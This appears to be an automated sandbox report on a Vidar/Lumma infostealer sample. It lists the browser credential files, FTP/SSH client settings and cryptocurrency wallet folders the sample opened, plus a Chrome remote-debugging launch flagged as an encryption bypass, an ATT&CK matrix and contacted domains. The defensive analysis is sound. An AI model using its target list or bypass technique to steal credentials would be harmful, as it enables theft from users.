Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 5.2.aD7D9fkpII.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6584, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 5.2.aD7D9fkpII.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aD7D9fkpII.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6584, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	2 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	11 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	2 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
aD7D9fkpII.exe	57%	Virustotal		Browse
aD7D9fkpII.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
aD7D9fkpII.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://bijutr.shop23e5ea2dd5a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bijutr.shop	188.245.216.205	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://sb.scorecardresearch.com/b2?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/-	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322716389.00001E9000098000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/1	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 0000000B.00000002.2325498651.00001E9000858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323988973.00001E90004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328244648.00001E9000F70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.16.dr	false		high
http://anglebug.com/4633	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/4	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	false		high
https://issuetracker.google.com/284462263	msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.16.dr	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.16.dr	false		high
https://docs.google.com/document/:	chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 0000000B.00000002.2325886446.00001E90009A3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2245026834.00001E9000FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326146786.00001E9000A18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/ogl	chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bijutr.shop23e5ea2dd5a	aD7D9fkpII.exe, 00000005.00000002.2770513290.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unisolated.invalid/	chrome.exe, 0000000B.00000002.2325951329.00001E90009AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327786774.00001E9000E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325825077.00001E9000950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
